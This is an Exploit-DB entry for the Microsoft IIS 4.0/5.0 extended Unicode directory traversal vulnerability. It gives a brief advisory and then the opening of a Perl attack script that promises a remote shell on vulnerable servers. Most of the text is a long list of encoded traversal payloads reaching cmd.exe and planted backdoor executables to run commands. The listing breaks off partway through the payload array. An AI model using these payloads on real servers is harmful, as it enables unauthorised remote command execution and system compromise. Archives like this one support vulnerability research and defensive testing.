Exploit-DB #20302
Description: Microsoft IIS 4.0/5.0 and PWS - Extended Unicode Directory Traversal (5)
Type: remote
Platform: windows
Date: 2000-10-17
Author: Andrea Spabam

Exploit:
source: https://www.securityfocus.com/bid/1806/info
  
Microsoft IIS 4.0 and 5.0 are both vulnerable to double dot "../" directory traversal exploitation if extended UNICODE character representations are used in substitution for "/" and "\".
  
Unauthenticated users may access any known file in the context of the IUSR_machinename account. The IUSR_machinename account is a member of the Everyone and Users groups by default, therefore, any file on the same logical drive as any web-accessible file that is accessible to these groups can be deleted, modified, or executed. Successful exploitation would yield the same privileges as a user who could successfully log onto the system to a remote user possessing no credentials whatsoever.
  
It has been discovered that a Windows 98 host running Microsoft Personal Web Server is also subject to this vulnerability. (March 18, 2001)
  
This is the vulnerability exploited by the Code Blue Worm.
  
**UPDATE**: It is believed that an aggressive worm may be in the wild that actively exploits this vulnerability.

##########################################################
# Spawn Ms-Doz-like Shell on MicrosoZ IIS
# on IIS vulnerable servers using 450 ways
# (like Unicode, Codered, corrupt string and Backdoor)
#     NOW SUPPORT ALL UNIX SYSTEM !
# Use port number with SSLproxy for testing SSL sites
# Andrea Spabam 2001 GPL2 or highter
# spabam@go.to
# This Script is currently under development
# link to http://spabam.da.ru to get latest version
##########################################################
use strict;
use IO::Socket;
my $host;
my $port;
my $command;
my $url;
my @results;
my $probe;
my @U;
$U[1] = "/..%%35%63../..%%35%63../..%%35%63../winnt/system32/cmd.exe?/c+";
$U[2] = "/..%%35c../..%%35c../..%%35c../winnt/system32/cmd.exe?/c+";
$U[3] = "/..%25%35%63..%25%35%63..%25%35%63..%25%35%63winnt/system32/cmd.exe?/c+";
$U[4] = "/..%25%35%63../..%25%35%63../..%25%35%63../winnt/system32/cmd.exe?/c+";
$U[5] = "..%c1%9c../winnt/system32/cmd.exe?/c+";
$U[6] = "/.%252e/.%252e/winnt/system32/cmd.exe?/c+";
$U[7] = "/..%252f..%252f..%252f..%252fwinnt/system32/cmd.exe?/c+";
$U[8] = "/..%255c..%255c..%255c..%255cwinnt/system32/cmd.exe?/c+";
$U[9] = "/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+";
$U[10] = "/..%255c..%255cwinnt/system32/cmd.exe?/c+";
$U[11] = "/..%C0%AF..%C0%AF..%C0%AF..%C0%AFwinnt/system32/cmd.exe?/c+";
$U[12] = "/..%C1%1C..%C1%1C..%C1%1C..%C1%1Cwinnt/system32/cmd.exe?/c+";
$U[13] = "/..%C1%9C..%C1%9C..%C1%9C..%C1%9Cwinnt/system32/cmd.exe?/c+";
$U[14] = "/..%c0%af..%c0%af..%c0%af..%c0%afwinnt/system32/cmd.exe?/c+";
$U[15] = "/..%c1%1c..%c1%1c..%c1%1c..%Cc1%1cwinnt/system32/cmd.exe?/c+";
$U[16] = "/..%c1%9c..%c1%9c..%c1%9c..%c1%9cwinnt/system32/cmd.exe?/c+";
$U[17] = "/..%c0%9v../winnt/system32/cmd.exe?/c+";
$U[18] = "/..%c0%af../winnt/system32/cmd.exe?/c+";
$U[19] = "/..%c0%qf../winnt/system32/cmd.exe?/c+";
$U[20] = "/..%c1%1c../winnt/system32/cmd.exe?/c+";
$U[21] = "/..%c1%8s../winnt/system32/cmd.exe?/c+";
$U[22] = "/..%c1%9c../winnt/system32/cmd.exe?/c+";
$U[23] = "/..%c1%af../winnt/system32/cmd.exe?/c+";
$U[24] = "/..%c1%pc../winnt/system32/cmd.exe?/c+";
$U[25] = "/..%e0%80%af../winnt/system32/cmd.exe?/c+";
$U[26] = "/..%f0%80%80%af../winnt/system32/cmd.exe?/c+";
$U[27] = "/..%f8%80%80%80%af../winnt/system32/cmd.exe?/c+";
$U[28] = "/..%fc%80%80%80%80%af../winnt/system32/cmd.exe?/c+";
$U[29] = "/root.exe?/c+";
$U[30] = "/cmd.exe?/c+";
$U[31] = "/sensepost.exe?/c+";
$U[32] = "/..%%35%63..%%35%63..%%35%63..%%35%63winnt/system32/cmd.exe?/c+";
$U[33] = "/..%%35c..%%35c..%%35c..%%35cwinnt/system32/cmd.exe?/c+";
$U[34] = "/..%255c..%255c..%255cwinnt/system32/cmd.exe?/c+";
$U[35] = "/.%252e/.%252e/.%252e/.%252e/winnt/system32/cmd.exe?/c+";
$U[36] = "/MSADC/..%%35%63../..%%35%63../..%%35%63../winnt/system32/cmd.exe?/c+";
$U[37] = "/MSADC/..%%35c../..%%35c../..%%35c../winnt/system32/cmd.exe?/c+";
$U[38] = "/MSADC/..%25%35%63..%25%35%63..%25%35%63..%25%35%63winnt/system32/cmd.exe?/c+";
$U[39] = "/MSADC/..%25%35%63../..%25%35%63../..%25%35%63../winnt/system32/cmd.exe?/c+";
$U[40] = "/MSADC..%c1%9c../winnt/system32/cmd.exe?/c+";
$U[41] = "/MSADC/.%252e/.%252e/winnt/system32/cmd.exe?/c+";
$U[42] = "/MSADC/..%252f..%252f..%252f..%252fwinnt/system32/cmd.exe?/c+";
$U[43] = "/MSADC/..%255c..%255c..%255c..%255cwinnt/system32/cmd.exe?/c+";
$U[44] = "/MSADC/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+";
$U[45] = "/MSADC/..%255c..%255cwinnt/system32/cmd.exe?/c+";
$U[46] = "/MSADC/..%C0%AF..%C0%AF..%C0%AF..%C0%AFwinnt/system32/cmd.exe?/c+";
$U[47] = "/MSADC/..%C1%1C..%C1%1C..%C1%1C..%C1%1Cwinnt/system32/cmd.exe?/c+";
$U[48] = "/MSADC/..%C1%9C..%C1%9C..%C1%9C..%C1%9Cwinnt/system32/cmd.exe?/c+";
$U[49] = "/MSADC/..%c0%af..%c0%af..%c0%af..%c0%afwinnt/system32/cmd.exe?/c+";
$U[50] = "/MSADC/..%c1%1c..%c1%1c..%c1%1c..%Cc1%1cwinnt/system32/cmd.exe?/c+";
$U[51] = "/MSADC/..%c1%9c..%c1%9c..%c1%9c..%c1%9cwinnt/system32/cmd.exe?/c+";
$U[52] = "/MSADC/..%c0%9v../winnt/system32/cmd.exe?/c+";
$U[53] = "/MSADC/..%c0%af../winnt/system32/cmd.exe?/c+";
$U[54] = "/MSADC/..%c0%qf../winnt/system32/cmd.exe?/c+";
$U[55] = "/MSADC/..%c1%1c../winnt/system32/cmd.exe?/c+";
$U[56] = "/MSADC/..%c1%8s../winnt/system32/cmd.exe?/c+";
$U[57] = "/MSADC/..%c1%9c../winnt/system32/cmd.exe?/c+";
$U[58] = "/MSADC/..%c1%af../winnt/system32/cmd.exe?/c+";
$U[59] = "/MSADC/..%c1%pc../winnt/system32/cmd.exe?/c+";
$U[60] = "/MSADC/..%e0%80%af../winnt/system32/cmd.exe?/c+";
$U[61] = "/MSADC/..%f0%80%80%af../winnt/system32/cmd.exe?/c+";
$U[62] = "/MSADC/..%f8%80%80%80%af../winnt/system32/cmd.exe?/c+";
$U[63] = "/MSADC/..%fc%80%80%80%80%af../winnt/system32/cmd.exe?/c+";
$U[64] = "/MSADC/root.exe?/c+";
$U[65] = "/MSADC/cmd.exe?/c+";
$U[66] = "/MSADC/sensepost.exe?/c+";
$U[67] = "/MSADC/..%%35%63..%%35%63..%%35%63..%%35%63winnt/system32/cmd.exe?/c+";
$U[68] = "/MSADC/..%%35c..%%35c..%%35c..%%35c